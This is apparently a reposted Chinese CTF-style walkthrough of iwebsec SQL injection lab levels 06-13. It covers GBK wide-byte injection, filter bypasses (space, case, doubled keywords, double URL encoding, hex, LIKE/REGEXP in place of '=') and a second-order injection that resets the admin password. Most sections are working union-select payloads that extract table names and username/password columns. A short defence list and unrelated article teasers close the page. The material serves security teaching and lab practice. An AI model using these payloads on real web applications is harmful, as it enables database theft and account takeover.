​​​​​​06-宽字节注入

1,该漏洞的根本原因是字符集处理不一致(GBK双字节特性)与不安全的转义方式addslashes)共同导致。构造基础sql注入语句

1%df%27%20%23

漏洞原理

  1. 字符集设置:mysql_query("SET NAMES gbk") 将连接字符集设置为GBK(一种双字节编码)。
  2. 输入处理:使用addslashes($_GET['id'])转义特殊字符(如单引号'会被转义为\')。
  3. 漏洞触发:当输入中包含%df'时:
    • addslashes将其转义为%df\'(即%df%5c%27)
    • GBK解码时,%df%5c被解析为汉字"運"(%df%5c是GBK编码中的合法字符)
    • 最终单引号'逃逸:...id='運'... → 导致SQL语句闭合被破坏

2,其他步骤和sql注入的基本操作是一样的,先判断当前查询的数据表有几列

1%df%27%20order%20by%203%23

1%df%27%20order%20by%204%23

然后就是判断查询语句的回显位置

-1%df%27%20union%20select%201,2,3%23

确认三个都是回显位置之后,再爆出数据库名

-1%df%27%20union%20select%201,version(),database()%23

-1%df%27%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%23

-1%df%27%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=0x73716c69%20--%20

原内容

修正后

原因

table_name='sqli'

table_name=0x73716c69

避免引号被转义,0x73716c69 是 'sqli' 的十六进制

--+

--%20

确保注释符后有空格(%20 是 URL 编码的空格)

开头 -1%df%27

保留

利用宽字节注入绕过转义(%df' → 運'

-1%df%27%20union%20select%20id,username,password%20from%20sqli--%20

07-空格过滤绕过

1,首先分析源代码,代码如何实现的空格绕过

空格过滤实现机制

if (preg_match('/ /', $_GET["id"])) {
    die("ERROR");
}

  1. 正则表达式过滤:使用 preg_match('/ /', ...) 检测输入中是否包含空格字符
  2. 检测到空格立即终止:如果输入中包含任何空格(ASCII 32),直接执行 die("ERROR") 终止脚本
  3. 过滤位置:在SQL查询构造前进行过滤,位于用户输入处理阶段

关键安全漏洞

虽然过滤了空格,但存在严重的SQL注入漏洞:

$id=$_GET['id']; // 未做任何转义或过滤
$sql="SELECT * FROM user WHERE id=$id LIMIT 0,1"; // 直接拼接

  1. 数字型注入:参数直接拼接到SQL语句中,没有引号包裹
  2. 无其他防护:缺少参数化查询、类型转换等安全措施
  3. 错误信息暴露:print_r(mysql_error()) 会显示详细数据库错误

绕过空格过滤的方法

攻击者可以使用以下字符替代空格:

1. 水平制表符 (TAB)

?id=1%09UNION%09SELECT%091,2,3

2. 换行符

?id=1%0aUNION%0aSELECT%0a1,version(),3

3. 注释符 /**/

?id=1/**/UNION/**/SELECT/**/1,2,database()

4. 括号包裹

?id=(1)UNION(SELECT(1),2,3)

 

2,构造关键攻击语句,四种方法均可

(1)#

1%09#

1%0a#

1/**/#

第一步,判断查询数据表有几列

1/**/order/**/by/**/3#

1/**/order/**/by/**/4#

1/**/union/**/select/**/1,2,3#

-1/**/union/**/select/**/1,version(),database()#

-1/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()#

-1/**/union/**/select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema=database()/**/and/**/table_name='sqli'#

-1/**/union/**/select/**/id,username,password/**/from/**/sqli--

在 SQL 注入中,# 和 -- 注释符的行为差异主要与 URL 编码和 SQL 语法有关。以下是详细解释:

根本原因

  1. URL 中 # 的特殊含义:
  • # 在 URL 中是片段标识符(fragment identifier),浏览器不会将 # 及之后的内容发送到服务器
  • 例如:example.com/test.php?id=1#comment → 服务器只收到 id=1
  1. -- 注释的要求:
  • SQL 标准要求 -- 后必须有空格才能生效
  • 在 URL 中需用 --++ 被解码为空格)或 --%20(%20 是空格编码)

 

08-大小写过滤绕过

1,大小写过滤实现方法

if (preg_match('/select/', $_GET["id"])) {
    die("ERROR");
}

  • 正则表达式过滤:使用 preg_match('/select/', ...) 检测输入中是否包含小写字符串 "select"
  • 区分大小写:正则表达式默认区分大小写,只匹配小写 select
  • 检测到即终止:发现小写 select 时立即终止脚本 (die("ERROR"))

2,尝试order by注释符判断数据表存在几列

1 order by 4 --+

再尝试union select爆出数据库名

1 union SELECT 1,2,3 --+

1 union SELECT 1,version(),database() --+

1 union SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

1 union SELECT 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='sqli'--+

1 union SELECT id,username,password from sqli--+

09-双写关键字绕过

过滤逻辑分析

$id = preg_replace('/select/i', '', $_GET["id"]);

  1. 正则表达式过滤:
  • 模式:/select/i
  • i 修饰符:不区分大小写(匹配 SELECT、select、SeLeCt 等)
  • 功能:删除输入中所有出现的 "select" 字符串(不区分大小写)
  1. 处理流程:
  • 获取用户输入的 id 参数
  • 删除其中所有 "select" 字符串(不区分大小写)
  • 将处理后的字符串用于 SQL 查询拼接

双写绕过原理

攻击者通过构造双写关键字来绕过过滤:

  1. 过滤机制缺陷:仅执行一次字符串替换
  2. 绕过方法:插入 selselectect → 过滤后变为 select
  • 原始输入:selselectect
  • 过滤过程:
  • 删除中间的 "select" → sel[删除]ect
  • 结果:select

1,sql注入语句的基本格式是1 --+,尝试判断数据表存在多少列

1 order by 3--+

1 order by 4--+

2,然后再union select判断查询语句的回显位置,需要注意使用双写绕过

1 union%20 selselectect%20 1,2,3--+

1 union%20 selselectect%20 1,version(),database()--+

1 union%20 selselectect%20 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

1 union%20 selselectect%20 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='sqli'--+

1 union%20 selselectect%20 id,username,password from sqli--+

10-双重url编码绕过

防御机制分析

if (preg_match('/select/', $_GET["id"])) {
    die("ERROR");
} else {
    $id = urldecode($_GET['id']);  // 关键漏洞点
    $sql="SELECT * FROM user WHERE id=$id LIMIT 0,1";
}

  1. 关键词过滤:
  • 使用 preg_match('/select/', ...) 检测原始GET参数中是否包含小写字符串 "select"
  • 检测到即终止脚本 (die("ERROR"))
  1. URL解码处理:
  • 对过滤后的参数执行 urldecode() 解码
  • 将解码后的值直接拼接到SQL查询中

1,尝试构造注入语句

?id=-1 %25%37%35%25%36%65%25%36%39%25%36%66%25%36%65%25%32%30%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34 1,2,3#

爆库

?id=-1 %25%37%35%25%36%65%25%36%39%25%36%66%25%36%65%25%32%30%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34 1,2,database()#

爆表

?id=-1 %25%37%35%25%36%65%25%36%39%25%36%66%25%36%65%25%32%30%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x69776562736563#

爆列

?id=-1 %25%37%35%25%36%65%25%36%39%25%36%66%25%36%65%25%32%30%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34 1,2,group_concat(column_name) from information_schema.columns where table_name=0x75736572#

爆数据

?id=-1 %25%37%35%25%36%65%25%36%39%25%36%66%25%36%65%25%32%30%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34 1,2,group_concat(concat_ws(0x7e,username,password)) from iwebsec.user#

11-十六进制绕过

防御机制分析

if (!get_magic_quotes_gpc()) {  
   
$id = addslashes($_GET['id']);
    $sql="SELECT * FROM user WHERE id=$id LIMIT 0,1";
    $result=mysql_query($sql);          
}else{
    $id =$_GET['id'];        
   
$sql="SELECT * FROM user WHERE id=$id LIMIT 0,1";
    $result=mysql_query($sql);
}

  1. get_magic_quotes_gpc()检测:
  • 检查PHP配置中magic_quotes_gpc是否开启
  • 该功能在PHP 5.4+已被移除,现代PHP环境总是进入if分支
  1. addslashes()转义:
  • 在特殊字符('"\NULL)前添加反斜杠
  • 示例:' → \'" → \"

关键安全漏洞

1. 数字型注入漏洞

$sql="SELECT * FROM user WHERE id=$id LIMIT 0,1";

  • 致命缺陷:参数直接拼接到SQL语句,没有引号包裹
  • addslashes()对数字型注入完全无效
  • 攻击者可以构造任意SQL表达式

2. 十六进制绕过机会

当需要字符串参数时,可使用十六进制编码绕过addslashes()

SELECT * FROM user WHERE id=0x31 OR 1=1

 

1,构造漏洞利用语句

1 order by 3 --+

1 order by 4 --+

2,尝试判断数据表存在几列

1 union select 1,2,3--+

1 union select 1,version(),database()--+

1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='sqli'--+

-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x73716c69

1 union select 1,2,(select group_concat(concat(id,0x7e,username,0x3A,password,0x7e)) from sqli)--+

12-等价函数替换过滤绕过

过滤逻辑分析

1. 等号过滤机制

if (preg_match('/=/', $_GET["id"])) {
    die("ERROR");
}

  • 正则表达式:/=/ 匹配参数中任何位置的等号 =
  • 拦截效果:只要 id 参数包含等号(即使是 URL 编码的 %3D),立即终止脚本并返回 "ERROR"
  • 绕过关键:构造不包含等号但能实现 SQL 注入的 Payload

2. SQL 查询结构

$sql = "SELECT * FROM user WHERE id=$id LIMIT 0,1";

  • 注入点类型:数字型注入(无引号包裹)
  • 漏洞位置:$id 直接拼接进 SQL 语句
  • 可利用点:无需闭合引号,可直接注入 SQL 代码

3. 错误信息泄露

print_r(mysql_error());

  • 关键优势:SQL 报错信息直接输出,支持报错注入
  • 利用价值:可通过错误信息获取数据库结构、查询内容等敏感数据

绕过方案(避免使用等号)

方案 1:使用 LIKE 替代等号(联合查询注入)

/12.php?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema like database() and table_name like 0x73716c69--+

绕过原理:

  • LIKE 实现字符串匹配,功能等效于 =
  • 0x73716c69 是 'sqli' 的十六进制,避免单引号

Payload 分解:

  • -1:使原查询无结果,联合查询结果可见
  • like database():替代 = database()
  • like 0x73716c69:替代 = 'sqli'

方案 2:使用 REGEXP 正则匹配

/12.php?id=1 or table_schema regexp database()--+

  • 优势:正则匹配更灵活,可处理部分匹配
  • 典型场景:布尔盲注中逐字符判断

/12.php?id=1 or (select database()) regexp '^a'--+

完整利用链示例

步骤 1:获取表名

/12.php?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema like database()--+

步骤 2:获取列名

/12.php?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema like database() and table_name like 0x73716c69--+

步骤 3:提取数据

/12.php?id=-1 union select 1,username,password from sqli--+

13-二次注入

二次注入原理分析

漏洞核心流程

  1. 输入阶段:用户提交恶意数据(含 SQL 片段)
  2. 安全处理:addslashes() 转义特殊字符(如 ' → \'
  3. 存储阶段:转义后的数据存入数据库
  4. 取出阶段:从数据库取出原始数据(转义符被丢弃)
  5. 执行阶段:原始恶意数据拼接到 SQL 语句执行

漏洞存在点分析

// 1. 输入处理(注册时)
$username=addslashes($_POST['username']); // 转义特殊字符
// 存入数据库示例:admin'# → 存储为 "admin\'#"

// 2. 漏洞触发点(reset.php)
// 假设 reset.php 中有如下代码:
$email = $_POST['email']; // 从表单获取邮箱
$sql = "SELECT username FROM sqli WHERE email='$email'"; // 二次注入点

漏洞利用演示

  1. 注册恶意账户:
  • 用户名:admin'# (转义后存储为 admin\'#)
  • 密码:任意值
  • 邮箱:attacker@example.com
  1. 数据库实际存储:

username

password

email

admin'#

123456

attacker@example.com

  • 注意:数据库存储 原始值 admin'#(反斜杠仅存在于插入时的转义过程)
  1. 密码重置攻击:
    // reset.php 代码示例
    $email = $_POST['email']; // 用户输入:attacker@example.com
    $sql = "UPDATE sqli SET password='new_pass' WHERE email='$email'";
    // 实际执行:
    // UPDATE sqli SET password='new_pass' WHERE email='attacker@example.com'
  • 看似安全,但攻击者可构造:
    $email = "attacker@example.com' AND username='admin'#";
  1. 最终 SQL:
    UPDATE sqli SET password='new_pass'
    WHERE email='attacker@example.com' AND username='admin'
    #'
  2. 效果:将 admin 用户的密码重置为 new_pass

漏洞本质原因

  1. 转义机制失效:
  • addslashes() 仅在 数据插入时 提供保护
  • 当数据从数据库取出后,原始值被直接使用,转义符消失
  1. 数据信任错误:
  • 开发者误认为"存入数据库的数据都是安全的"
  • 未对从数据库取出的数据做二次验证
  1. 上下文差异:
  • 注册时:数据作为 VALUES 部分被插入
  • 重置时:数据作为 WHERE 条件被执行

漏洞利用步骤

  1. 注册恶意账户:
    POST /reg.php HTTP/1.1
    Content-Type: application/x-www-form-urlencoded

    username=admin'#&password=attack&email=attacker@example.com
  2. 触发密码重置:
    POST /reset.php HTTP/1.1
    Content-Type: application/x-www-form-urlencoded

    email=attacker@example.com' AND username='admin'#
  3. 实际执行 SQL:
    UPDATE sqli SET password='new_pass'
    WHERE email='attacker@example.com' AND username='admin'
    #'
  • # 注释掉后续单引号
  • 条件成立:同时匹配攻击者邮箱和 admin 用户名

防御方案

  1. 统一输出过滤:
    // 从数据库取出数据后再次转义
    $email = mysql_real_escape_string($row['email']);
  2. 使用预处理语句:
    // reset.php 中
    $stmt = $pdo->prepare("UPDATE sqli SET password=? WHERE email=?");
    $stmt->execute([$new_pass, $email]);
  3. 数据分级管理:
  • 区分用户输入数据 vs 系统存储数据
  • 对所有动态值进行参数化处理
  1. 最小权限原则:
  • 密码重置功能使用独立低权限账户
  • 禁止执行多行 SQL

漏洞验证方法

  1. 注册用户名为 test' OR '1'='1 的账户
  2. 尝试用邮箱 任意值 重置密码
  3. 观察是否重置所有用户密码(或报错信息泄露)

1,注册用户名填admin'#,密码填123,邮箱填admin

然后通过邮箱找回

抓个包分析即可。首先注册用户

然后找回密码

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/diannao/88849.shtml
繁体地址,请注明出处:http://hk.pswp.cn/diannao/88849.shtml
英文地址,请注明出处:http://en.pswp.cn/diannao/88849.shtml

如若内容造成侵权/违法违规/事实不符,请联系英文站点网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

小程序学习笔记:自定义组件创建、引用、应用场景及与页面的区别

在微信小程序开发中,自定义组件是一项极为实用的功能,它能有效提高代码的复用性,降低开发成本,提升开发效率。本文将深入剖析微信小程序自定义组件的各个关键方面,包括创建、引用、应用场景以及与页面的区别&#xff0…

开发数字化绿色低碳园区系统:分阶段实施指南

目录 摘要 背景 核心模块 阶段性开发 分阶段开发实施 第一阶段(3-6个月):搭建核心骨架 第二阶段(6-9个月):扩展功能 第三阶段(9-12个月):深度定制 技术选型 注意事项 实施计划表 小结 摘要 数字化绿色低碳园区系统通过物联网、能源管理和数据分析等技术,…

智能实验室革命:Deepoc大模型驱动全自动化科研新生态

自动化实验执行 自动化实验执行通过机器人技术与智能控制系统的深度融合,重构传统实验操作模式,其核心技术突破体现在以下层面: 1. ​​多模态任务分解与执行架构​​ 基于大模型的任务解析引擎可将复杂实验流程分解为可执行的原子操作序列…

还在手动部署?用Jenkins+Docker+Git实现自动化CI/CD

“每次发版都要手动打包上传,部署宕机了才发现出错?” 你还在重复“开发提测-打包部署-验证回归”的流水线操作?明明可以一键搞定的流程,为何还在亲力亲为?是时候了解并掌握 自动化 CI/CD 的真正威力了! 手…

Stream流中间方法的使用

Stream流的中间方法详解 Stream流的中间方法指那些返回新Stream的操作,允许链式调用。这些方法通常用于数据过滤、映射、排序等操作,不会触发最终计算。 filter方法 filter用于筛选满足条件的元素,接受一个Predicate函数式接口参数。 Lis…

华为云Flexus+DeepSeek征文|华为云ModelArts结合FeedMe:开启AI驱动的RSS阅读新时代

华为云FlexusDeepSeek征文|华为云ModelArts结合FeedMe:开启AI驱动的RSS阅读新时代 前言一、华为云ModelArts Studio平台介绍1.1 ModelArts Studio介绍1.2 ModelArts Studio主要特点1.3 ModelArts Studio使用场景1.4 ModelArts Studio产品架构 二、FeedMe…

华为云Flexus+DeepSeek征文 | 华为云ModelArts Studio新手入门:DeepSeek服务的配置与使用详解

华为云FlexusDeepSeek征文 | 华为云ModelArts Studio新手入门:DeepSeek服务的配置与使用详解 前言一、ModelArts Studio介绍1. 华为云ModelArts Studio简介2. 华为云ModelArts Studio主要特点3. 华为云ModelArts Studio主要使用场景 二、ModelArts Studio平台开通De…

Note2:机器学习基本攻略(Machine Learning by Hung-yi Lee)

目录 基本思路 1.训练资料上loss很大 1.1 model bias 1.2 optimazation(优化不够好) 1.3如何确定是 model bias还是optimazation 解决方法 2.训练资料上loss很小 2.1 Overfitting 解决方案 1.使用更多训练资料 2.限制模型 2.2 Mismatch 3.…

使用ubuntu下的FAST和gfzrnx进行广播星历下载及版本之间的转换

使用FAST下载混合的广播星历文件 cd FAST_V3.00.03 (进入文件夹) chmod x FAST (授权) chmod x bin/* ./FAST1 下载:https://gnss.gfz.de/services/gfzrnx/download (需注册) 2 打开bash,依次输入 (其中gfzrnx_2.1.12_lx64为下载…

vue裁剪图片

有一个需求就是在你有俩张图片一样大小,一个亮色的,一个暗色的,亮色的根据后端返回的数据显示多高,这样就有一个感觉是慢慢往上走的,主要用到了css的一个属性 .my-info-image {width: 280px;height: 200px;position: a…

使用GDAL库统计不同分区内的灾害点分布情况,计算灾害相对密度等统计指标

主要功能是处理地理空间栅格数据(TIFF文件)和灾害点数据(CSV文件),统计不同分区内的灾害点分布情况,并计算灾害相对密度等统计指标。 TIFF文件:已经重分类后的文件 CSV文件:灾害点…

jar 包如何下载

在 Javaweb - 2 中,我们导入了三那个 jar 包来进行服务端的 JSON 串格式转换,这个为大家做一个如何下载那三个 jar 包的教程~ 打开仓库网站 我们需要先打开一个仓库网址:Maven Repository: Search/Browse/Explore 这个网址中,几…

【vue3】打包配置webpack压缩,哈希值设置

压缩配置 依赖下载: npm i --save-dev compression-webpack-plugin vue.config.js配置 const CompressionWebpackPlugin require(compression-webpack-plugin);filenameHashing: true, // 打包后为文件名增加hash值// 配置webpackconfigureWebpack: config >…

vue3 + elementPlus 封装hook,检测form表单数据修改变更;示例用 script setup 语法使用

vue3 elementPlus 封装hook,检测form表单数据修改变更;示例 script setup 语法 原文:https://mp.weixin.qq.com/s/gCuqKskp-KBxdClxcpwFqw原文:https://mp.weixin.qq.com/s/gCuqKskp-KBxdClxcpwFqw原文:https://mp.weixin.qq.com…

Java-泛型类

一、泛型类的基本概念 1. 什么是泛型类 泛型类是指使用类型参数定义的类,可以在类定义时不指定具体类型,而在实例化时指定。 2. 泛型类的作用 类型安全:编译时检查类型匹配 消除强制转换:减少运行时ClassCastException风险 代…

信任边界的人生智慧

我曾经是个喜欢试探的人 总想知道朋友会不会在我困难时伸手,合作伙伴会不会在利益面前变脸,爱人会不会在诱惑下坚守 结果发现,每一次试探都像是在关系上撒盐 不是因为对方经不起考验,而是「考验」这个行为本身就充满了不信任的…

SQL Server 中 GO 的作用

CREATE DATABASE MyDatabase; USE MyDatabase; GO --定义局部变量 DECLARE s_no varchar(8), s_avgrade numeric(4,1); --对局部变量赋值 SET s_no 20170208; SET s_avgrade 95.0; --使用局部变量 UPDATE student SET s_avgrade s_avgrade WHERE s_no s_no;🌟 G…

指标中台+大模型:解密衡石Agentic BI的NL2DSL架构实现

——Text2Metrics引擎如何攻克语义鸿沟,碾压传统NL2SQL方案 一、传统NL2SQL的“架构原罪”:业务语义的失控黑洞 当某银行尝试用NL2SQL分析“高净值客户流失率”时,系统生成如下危险SQL: 这正是NL2SQL的三大架构缺陷:…

设计模式 - 抽象工厂

抽象工厂是对工厂的抽象化,而不只是制造方法。 为了满足不同用户对产品的多样化需求,工厂不会只局限于生产一类产品,但是系统如果按工厂方法那样为每种产品都增加一个工厂又会造成工厂泛滥。所以,为了调和这种矛盾,抽…

面向对象Plus(2/2)

目录 面向对象Plus(qianwen) 一.面向对象三大特性 封装 继承 多态 二.多态 1.了解多态 2.体验多态 三.类属性和实例属性 1.类属性 a.设置和访问类属性 类属性的优点 b.修改类属性 四.类方法和静态方法 1.类方法 a.类方法特点 b.类方法应用场景 2.静态方法 a…